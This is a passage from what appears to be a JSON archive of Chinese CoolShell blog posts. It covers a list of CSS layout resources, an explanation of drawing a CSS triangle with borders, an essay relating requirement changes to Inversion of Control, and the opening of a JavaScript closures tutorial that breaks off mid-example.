width=\"450\"/></p>\n<p>你可以通过这里查看这些样例:<a href=\"http://www.cssplay.co.uk/layouts/fixit.html\">Cross browser FIXED</a>, <a href=\"http://www.cssplay.co.uk/layouts/threecol.html\">Three columns</a> and <a href=\"http://www.cssplay.co.uk/layouts/frame.html\">CSS Frame – The Holy Grill</a>.</p>\n<p>25-<a href=\"http://blog.html.it/layoutgala/\">Layoutgala </a>– 基于同样的的标记l得到最大数量的不同的布局方式。没有CCS hack，没有CSS workaround ，良好的浏览器兼容性。40种不同布局。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"180\" src=\"../wp-content/uploads/2012/03/css-layouts26.gif\" width=\"450\"/></p>\n<p>你可以通过这里查看这些样例:<a href=\"http://blog.html.it/layoutgala/LayoutGala07.html\">Three fixed Columns</a>, <a href=\"http://blog.html.it/layoutgala/LayoutGala04.html\">Three percentage columns</a> and <a href=\"http://blog.html.it/layoutgala/LayoutGala19.html\">Liquid, three columns, hybrid widths </a>(吐槽：没有等高，不好看).</p>\n<p>26-<a href=\"http://www.glish.com/css/\">Glish</a>– 许多有用的跨浏览器布局技术</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"125\" src=\"../wp-content/uploads/2012/03/css-layouts27.gif\" width=\"450\"/></p>\n<p>你可以通过这里查看这些样例: <a href=\"http://www.glish.com/css/7.asp\">3 columns, the holy grail</a>,<a href=\"http://www.glish.com/css/9.asp\"> 2 columns, ALA style</a> and <a href=\"http://www.glish.com/css/2.asp\">3 columns, all fluid </a></p>\n<p>27-<a href=\"http://www.thenoodleincident.com/tutorials/box_lesson/boxes.html\">Thenoodleincident</a>– CSS 从简单的单盒到3盒并增加一个顶部条，所有都是变宽。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"140\" src=\"../wp-content/uploads/2012/03/css-layouts28.gif\" width=\"450\"/></p>\n<p>28-<a href=\"http://www.bluerobot.com/web/layouts/\">The Layout Reservoir</a>– 很多有用的CSS布局技术</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"225\" src=\"../wp-content/uploads/2012/03/css-layouts30.gif\" width=\"450\"/></p>\n<p>你可以通过这里查看这些样例:<a href=\"http://bluerobot.com/web/layouts/layout1.html\"> 2 columns – left menu</a>,<a href=\"http://bluerobot.com/web/layouts/layout3.html\"> 3 columns – flanking menus</a>和<a href=\"http://bluerobot.com/web/css/center1.html\"> Auto-width Margins </a>.</p>\n<p>29-<a href=\"http://www.strictlycss.com/articles/article/40/the-only-css-layout-you-need\">The only CSS layout you need</a>– 在这篇文章中将会为你展现10个基于同一的HTML的不同的的布局。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"225\" src=\"../wp-content/uploads/2012/03/css-layouts32.gif\" width=\"450\"/></p>\n<p>你可以通过这里查看这些样例: <a href=\"http://www.strictlycss.com/examples/three-column-layout-1.asp\"> Three column CSS layout – left and right menu</a>, <a href=\"http://www.strictlycss.com/examples/three-column-layout-2.asp\">Two column CSS layout – top and left menu</a> 和 <a href=\"http://www.strictlycss.com/examples/three-column-layout-7.asp\">Three column CSS fluid layout: 100% width</a></p>\n<p>30-<a href=\"http://www.yaml.de/\">另一个多栏布局</a>-是一个创建当代流行的变宽的浮动布局的XHTML/CSS框架。这是一个多功能实用的布局。</p>\n<p>点击<a href=\"http://www.yaml.de/fileadmin/download/release_306/yaml_306_080609.zip\">这里</a>下载.</p>\n<p>31-<a href=\"http://www.cssliquid.com/\">Liquid Designs</a>– 使用XHTML和CSS的变宽设计库。</p>\n<h4><strong><span style=\"color: #008000;\">最佳实践</span></strong></h4>\n<p>如果你需要寻找一些布局灵感，你可以从下面的网站链接中找到。这些站点演示了CSS布局如何应用于不同类型的网站。查看这些网站是如何分成2栏或3栏，或混合宽栏和窄栏布局。</p>\n<p>32-<a href=\"http://helldesign.net/\">Helldesign</a></p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"365\" src=\"../wp-content/uploads/2012/03/css-layouts5.jpg\" width=\"450\"/></p>\n<p>33-<a href=\"http://silverbackapp.com/\">Silverbackapp</a></p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"325\" src=\"../wp-content/uploads/2012/03/css-layouts12.jpg\" width=\"450\"/></p>\n<p>34-<a href=\"http://www.os.ca/accueil.php\">OS communications informatiques</a></p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"310\" src=\"../wp-content/uploads/2012/03/css-layouts13.jpg\" width=\"450\"/></p>\n<p>35-<a href=\"http://rockatee.com/\">Rockatee</a></p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"310\" src=\"../wp-content/uploads/2012/03/css-layouts14.jpg\" width=\"450\"/></p>\n<p>36-<a href=\"http://www.darrenhoyt.com/\">Darrenhoyt</a></p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"225\" src=\"../wp-content/uploads/2012/03/css-layouts15.jpg\" width=\"450\"/></p>\n<p>37-<a href=\"http://www.makebetterwebsites.com/\">Makebetterwebsites</a></p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"250\" src=\"../wp-content/uploads/2012/03/css-layouts16.jpg\" width=\"450\"/></p>\n<p>38-<a href=\"http://elitetheme.com/\">Elitetheme</a></p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"250\" src=\"../wp-content/uploads/2012/03/css-layouts17.jpg\" width=\"450\"/></p>\n<p>39-<a href=\"http://www.studio7designs.com/\">Studio7designs</a></p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"250\" src=\"../wp-content/uploads/2012/03/css-layouts18.jpg\" width=\"450\"/></p>\n<p>40-<a href=\"http://brightcreative.com/\">Brightcreative</a></p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"300\" src=\"../wp-content/uploads/2012/03/css-layouts19.jpg\" width=\"450\"/></p>\n<p><em>(全文完)</em><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1949.html\"><img alt=\"Web中的省略号\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1949.html\">Web中的省略号</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-3-24 神奇的CSS形状.html",
    "content": "<html><body><p>【<span style=\"color: #cc0000;\">感谢 Neo 投递本文 – 微博帐号</span>：<a href=\"http://weibo.com/gandalfthegrey\" target=\"_blank\" title=\"_锟_\">@_锟_</a> 】</p>\n<p style=\"text-align: left;\">在StackOverflow上有这么一个问题，有位同学在<a href=\"http://css-tricks.com/examples/ShapesOfCSS/\">http://css-tricks.com/examples/ShapesOfCSS/ </a> 找到一些使用CSS做的形状，其中一位同学对下面的这个形状充满了疑问。</p>\n<p style=\"text-align: left;\">形状是：</p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"size-full wp-image-6914\" height=\"102\" src=\"../wp-content/uploads/2012/03/a.png\" width=\"103\"/></p>\n<p style=\"text-align: left;\">代码是：</p>\n<pre class=\"EnlighterJSRAW\">\n#triangle-up {\nwidth: 0;\nheight: 0;\nborder-left: 50px solid transparent;\nborder-right: 50px solid transparent;\nborder-bottom: 100px solid red;\n}\n</pre>\n<p>这位同学就提问啦，为啥这么这么几句就能画出一个三角形呢？<br/>\n于是呢，有高人出现，这个高人图文并茂的解释了这个三角的成因</p>\n<p><span id=\"more-6913\"></span><br/>\n首先呢，我们需要了解HTML标记的Box Model（盒模型），这个例子中呢我们将content，padding都看作content。忽略掉margin。那么一个盒模型就是下图</p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"size-full wp-image-6915\" height=\"266\" src=\"../wp-content/uploads/2012/03/b.png\" width=\"340\"/></p>\n<p>中间是内容，然后是4条边。每一条边都有宽度。<br/>\n根据上面CSS的定义，没有border-top（顶边）的情形下 ,我们的图形如下：</p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"size-full wp-image-6916\" height=\"266\" src=\"../wp-content/uploads/2012/03/c.png\" width=\"340\"/></p>\n<p>width设置为0后 ，内容没有了就成为下图：</p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"size-full wp-image-6917\" height=\"266\" src=\"../wp-content/uploads/2012/03/d.png\" width=\"340\"/></p>\n<p>height也设置为0，只有底边了。</p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"size-full wp-image-6918\" height=\"122\" src=\"../wp-content/uploads/2012/03/e.png\" width=\"200\"/></p>\n<p>然后两条边都是设置为透明，最后我们就得到了</p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"size-full wp-image-6919\" height=\"122\" src=\"../wp-content/uploads/2012/03/f.png\" width=\"200\"/></p>\n<p>这个属于奇技淫巧，但是也说明CSS的强大，没有做不到只有想不到。另外<a href=\"http://css-tricks.com/examples/ShapesOfCSS/\">http://css-tricks.com/examples/ShapesOfCSS/ </a>还能找到很多其他的形状，感兴趣的同学可以自己去看。还有酷壳以前的这篇文章《<a href=\"https://coolshell.cn/articles/5164.html\" target=\"_blank\" title=\"CSS图形\">CSS实现的各种形状</a>》<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5164.html\"><img alt=\"CSS图形\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5164.html\">CSS图形</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6913.html\">神奇的CSS形状</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-3-26 需求变化与IoC.html",
    "content": "<html><body><p>【<span style=\"color: #cc0000;\">感谢 Todd投递本文 – 微博帐号</span>：@<a href=\"http://weibo.com/weidagang\" target=\"_blank\" title=\"weidagang\">weidagang</a> 】</p>\n<h4>需求又变了，怎么办？</h4>\n<p>先上一个轻松的段子：</p>\n<blockquote><p>程序员XX遭遇车祸成植物人，医生说活下来的希望只有万分之一，唤醒更为渺茫。可他的Lead和亲人没有放弃，他们根据XX工作如命的作风，每天都在他身边念：“XX，需求又改了，该干活了，你快来呀！”，奇迹终于发生了，XX醒来了，第一句话：“需求又改了？”。</p></blockquote>\n<p>这个段子用幽默的方式反映了需求变化是每一个程序员、架构师或项目经理都会经常遇到的问题。面对这个问题，不同的人有不同的应对之道，最近微博上有一段关于需求变化的讨论：</p>\n<blockquote><p>@假装刺猬的猪：我们在软件开发过程中，会持续碰到客户需求变更的情况。如果没有领域建模，我们单纯将问题使用直觉将问题解决，那么等到客户需求变更或者有新的需求时，就会面临一个僵硬的前设计！无法在以前的设计上持续深入的优化模型，导致需求变更无法及时深化。设计实现均滞后与变更！</p>\n<p>@高煥堂: &lt;碰到客户需求变更的情况&gt;是合理的；但&lt;领域建模&gt;不是美好的手段!!!</p>\n<p>@weidagang: 要不被客户牵着鼻子走，需要自己有很强的设计能力，<strong>反过来</strong>让客户跟着你的设计来满足你的要求。能做到这点的公司很少，但这是软件行业唯一有希望的出路。</p>\n<p>@高煥堂: &lt;这是软件行业唯一有希望的出路&gt;。 Great!!</p></blockquote>\n<p>如何应对需求变化？ @假装刺猬的猪 的答案是领域建模，并持续优化模型，适应需求的变化。@高煥堂 则认为领域建模不是美好的手段。我进一步补充，应该<strong>“反过来”</strong>让自己在需求变化中处于主导地位，而不是被动地适应。</p>\n<p><span id=\"more-6950\"></span></p>\n<h4>控制反转 (IoC)</h4>\n<p>什么样就算是“反过来”了呢？举个例子：</p>\n<blockquote><p>用户想购买一台普通PC，他只想电脑能流畅运行魔兽世界，他根本不想知道什么叫主板，什么叫内存，什么叫CPU；但他不得不接受必须购买主板、CPU、内存的事实，因为PC架构是产业标准，而不是由用户定的。客户有选择的权利，但没有设计的权利，客户的需求必须在设计框架下得到满足。</p></blockquote>\n<p>这里我们要问PC架构是保护了谁的利益？显然，直接的受益者是厂商。如果没有PC架构的保护，厂商就会直接面对客户，客户说我需要功能A，我马上分析设计实现功能A；客户说我要功能B，我马上分析设计实现功能B … 有了PC架构的保护，厂商就变得更加强势，用户的一切需求都必须在PC架构下来谈。厂商可以倾听用户的声音，不断改进产品，但设计主导权永远在自己手中。我们IT行业常常用“做产品”和“做项目”的视角来区分不同的公司，但很少有人用“做设计”的视角来看。实际上，关键的问题在于设计主导权是厂商还是在客户。如果设计主导权在客户，不管是做产品、做服务还是做项目，其命运必然是疲于奔命应付客户，最后获得微薄的利润；如果设计主导权在厂商，不管做产品、做服务还是做项目都能有更多的话语权和更高的利润。</p>\n<p>当然，光有设计还不够，必须客户接受才能起到通过设计掌握主导权的作用。这一方面需要自己具有很强的设计能力，如苹果就是以设计能力著称的公司；另一方面，和其他厂商结盟壮大阵营也是一种方法，如最著名的Wintel联盟(Windows+Intel)，以及现在的日益壮大的Android阵营都属于此类。假如有厂商不遵守PC产业标准，说我的PC就没有主板，没有显卡，因为用户更不不需要这些东西；那么，它要么像苹果一样独树一帜成为一种新的标准，要么无人问津。</p>\n<p>我所谈到的“反过来”本质上就是软件设计中的控制反转 (Inversion of Control, IoC)思想。IoC是每一个初级程序员向高级进阶所需要了解的<strong>最重要</strong>的设计思想。由于Spring等开发框架的流行，知道IoC概念的程序员不在少数，但不少人对于IoC的理解仅仅停留在通过依赖注入 (Dependency Injection)实现解耦这个层面。实际上，IoC的应用不仅包括解耦，它还是框架的基本原理，在非计算机领域，IoC也是无处不在，如果你能从上面的例子中体会到IoC，这才算是融会贯通了。</p>\n<p>软件开发中一种最常见的模式是“以用户为出发点，以需求分析为核心”。该模式提倡从用户需求中分析推导出设计和实现，比如，TDD式的设计正是这类典型。而IoC式的软件设计与此截然相反，IoC的设计是一种“以愿景（自身利益是愿景的重要方面）为出发点，以架构为核心”的模式。如果用户的需求是一台电脑，我们如何能通过第一种模式分析需求推导出“主板-CPU-内存-外设”的PC架构呢？恐怕很难。IoC式的设计是以用户看不见摸不着的架构为核心，自己主导设计，用户需求是设计的约束条件和验证手段，而不是出发点和目标。我们想要掌握主动，不被需求变化搞得疲于奔命，就必须熟练使用第二种模式。</p>\n<p>我们的人生都被环境和各种客观条件所束缚，多数人只能随波逐流，听从命运的安排。你有没有想过要拥有人生的主导权呢？既然你是程序员，你懂IoC，你能否设计自己的人生框架呢？Yes，you can!<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9949.html\"><img alt=\"IoC/DIP其实是一种管理思想\" height=\"150\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8961.html\"><img alt=\"从面向对象的设计模式看软件设计\" height=\"150\" src=\"../wp-content/uploads/2013/01/kiss-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8961.html\">从面向对象的设计模式看软件设计</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7236.html\"><img alt=\"用Unix的设计思想来应对多变的需求\" height=\"150\" src=\"../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7236.html\">用Unix的设计思想来应对多变的需求</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6950.html\">需求变化与IoC</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-3-7 理解Javascript的闭包.html",
    "content": "<html><body><p>【<span style=\"color: #cc0000;\">感谢 Neo 投递本文 – 微博帐号：<a href=\"http://weibo.com/gandalfthegrey\" target=\"_blank\" title=\"_锟_\">_锟_</a> </span>】</p>\n<p><strong>前言：还是一篇入门文章。</strong>Javascript中有几个非常重要的语言特性——对象、原型继承、闭包。其中闭包对于那些使用传统静态语言C/C++的程序员来说是一个新的语言特性。本文将以例子入手来介绍Javascript闭包的语言特性，并结合一点ECMAScript语言规范来使读者可以更深入的理解闭包。</p>\n<p>注：<strong>本文是入门文章，例子素材整理于网络<strong>，如果你是高手，欢迎针对文章提出技术性建议和意见。本文讨论的是Javascript，不想做语言对比，如果您对Javascript天生不适，请自行绕道。</strong></strong></p>\n<h4><strong><span style=\"color: #008000;\">什么是闭包</span></strong></h4>\n<p>闭包是什么?闭包是Closure，这是静态语言所不具有的一个新特性。但是闭包也不是什么复杂到不可理解的东西，简而言之，闭包就是：<strong></strong></p>\n<ul>\n<li><strong>闭包就是函数的局部变量集合，只是这些局部变量在函数返回后会继续存在。</strong></li>\n<li><strong>闭包就是就是函数的“堆栈”在函数返回后并不释放，我们也可以理解为这些函数堆栈并不在栈上分配而是在堆上分配</strong></li>\n<li><strong>当在一个函数内定义另外一个函数就会产生闭包</strong></li>\n</ul>\n<p>上面的第二定义是第一个补充说明，抽取第一个定义的主谓宾——闭包是<strong>函数的‘局部变量’集合</strong>。只是这个局部变量是可以在函数返回后被访问。（这个不是官方定义，但是这个定义应该更有利于你理解闭包）</p>\n<p>做为局部变量都可以被函数内的代码访问，这个和静态语言是没有差别。闭包的差别在于局部变变量可以在函数执行结束后仍然被函数外的代码访问。这意味着函数必须返回一个指向闭包的“引用”，或将这个”引用”赋值给某个外部变量，才能保证闭包中局部变量被外部代码访问。当然包含这个引用的实体应该是一个对象，因为在Javascript中除了基本类型剩下的就都是对象了。可惜的是，ECMAScript并没有提供相关的成员和方法来访问闭包中的局部变量。但是在ECMAScript中，函数对象中定义的<strong>内部函数(inner function)</strong>是可以直接访问外部函数的局部变量，通过这种机制，我们就可以以如下的方式完成对闭包的访问了。</p>\n<p><span id=\"more-6731\"></span></p>\n<p>[javascript]<br/>\nfunction greeting(name) {<br/>\n    var text = ‘Hello ‘ + name; // local variable<br/>\n    // 每次调用时，产生闭包，并返回内部函数对象给调用者<br/>\n    return function() { alert(text); }<br/>\n}<br/>\nvar sayHello=greeting(\"Closure\");<br/>\nsayHello()  // 通过闭包访问到了局部变量text<br/>\n[/javascript]</p>\n<p>上述代码的执行结果是：Hello Closure，因为sayHello()函数在greeting函数执行完毕后，仍然可以访问到了定义在其之内的局部变量text。</p>\n<p>好了，这个就是传说中闭包的效果，闭包在Javascript中有多种应用场景和模式，比如Singleton，Power Constructor等这些Javascript模式都离不开对闭包的使用。</p>\n<h4><strong><span style=\"color: #008000;\">ECMAScript闭包模型</span></strong></h4>\n<p>ECMAScript到底是如何实现闭包的呢？想深入了解的亲们可以获取<a href=\"http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf\">ECMAScript 规范</a>进行研究，我这里也只做一个简单的讲解，内容也是来自于网络。</p>\n<p>在ECMAscript的脚本的函数运行时，每个函数关联都有一个执行上下文场景(Execution Context) ，这个执行上下文场景中包含三个部分</p>\n<ul>\n<li>文法环境（The LexicalEnvironment）</li>\n<li>变量环境（The VariableEnvironment）</li>\n<li>this绑定</li>\n</ul>\n<p>其中第三点this绑定与闭包无关，不在本文中讨论。文法环境中用于解析函数执行过程使用到的变量标识符。我们可以将文法环境想象成一个对象，该对象包含了两个重要组件，环境记录(Enviroment Recode)，和外部引用(指针)。环境记录包含包含了函数内部声明的局部变量和参数变量，外部引用指向了外部函数对象的上下文执行场景。全局的上下文场景中此引用值为NULL。这样的数据结构就构成了一个单向的链表，每个引用都指向外层的上下文场景。</p>\n<p>例如上面我们例子的闭包模型应该是这样，sayHello函数在最下层，上层是函数greeting，最外层是全局场景。如下图：<br/>\n<img alt=\"\" class=\"aligncenter size-full wp-image-6741\" height=\"478\" src=\"../wp-content/uploads/2012/03/closure.png\" width=\"658\"/><br/>\n因此当sayHello被调用的时候，sayHello会通过上下文场景找到局部变量text的值，因此在屏幕的对话框中显示出”Hello Closure”<br/>\n变量环境(The VariableEnvironment)和文法环境的作用基本相似，具体的区别请参看ECMAScript的规范文档。</p>\n<h4><strong><span style=\"color: #008000;\">闭包的样列</span></strong></h4>\n<p>前面的我大致了解了Javascript闭包是什么，闭包在Javascript是怎么实现的。下面我们通过针对一些例子来帮助大家更加深入的理解闭包，下面共有5个样例，例子来自于<a href=\"http://blog.morrisjohns.com/javascript_closures_for_dummies.html\">JavaScript Closures For Dummies(</a><a href=\"http://web.archive.org/web/20080209105120/http://blog.morrisjohns.com/javascript_closures_for_dummies\">镜像</a><a href=\"http://blog.morrisjohns.com/javascript_closures_for_dummies.html\">)</a>。<br/>\n<strong>例子1:闭包中局部变量是引用而非拷贝</strong></p>\n<p>[javascript]<br/>\nfunction say667() {<br/>\n    // Local variable that ends up within closure<br/>\n    var num = 666;<br/>\n    var sayAlert = function() { alert(num); }<br/>\n    num++;<br/>\n    return sayAlert;<br/>\n}</p>\n<p>var sayAlert = say667();<br/>\nsayAlert()<br/>\n[/javascript]</p>\n<p>因此执行结果应该弹出的667而非666。</p>\n<p><strong>例子2：多个函数绑定同一个闭包，因为他们定义在同一个函数内。</strong></p>\n<p>[javascript]<br/>\nfunction setupSomeGlobals() {<br/>\n    // Local variable that ends up within closure<br/>\n    var num = 666;<br/>\n    // Store some references to functions as global variables<br/>\n    gAlertNumber = function() { alert(num); }<br/>\n    gIncreaseNumber = function() { num++; }<br/>\n    gSetNumber = function(x) { num = x; }<br/>\n}<br/>\nsetupSomeGlobals(); // 为三个全局变量赋值<br/>\ngAlertNumber(); //666<br/>\ngIncreaseNumber();<br/>\ngAlertNumber(); // 667<br/>\ngSetNumber(12);//<br/>\ngAlertNumber();//12<br/>\n[/javascript]</p>\n<p><strong>例子3：当在一个循环中赋值函数时，这些函数将绑定同样的闭包</strong></p>\n<p>[javascript]<br/>\nfunction buildList(list) {<br/>\n    var result = [];<br/>\n    for (var i = 0; i &lt; list.length; i++) {<br/>\n        var item = ‘item’ + list[i];<br/>\n        result.push( function() {alert(item + ‘ ‘ + list[i])} );<br/>\n    }<br/>\n    return result;<br/>\n}</p>\n<p>function testList() {<br/>\n    var fnlist = buildList([1,2,3]);<br/>\n    // using j only to help prevent confusion – could use i<br/>\n    for (var j = 0; j &lt; fnlist.length; j++) {<br/>\n        fnlist[j]();<br/>\n    }<br/>\n}<br/>\n[/javascript]</p>\n<p>testList的执行结果是弹出item3 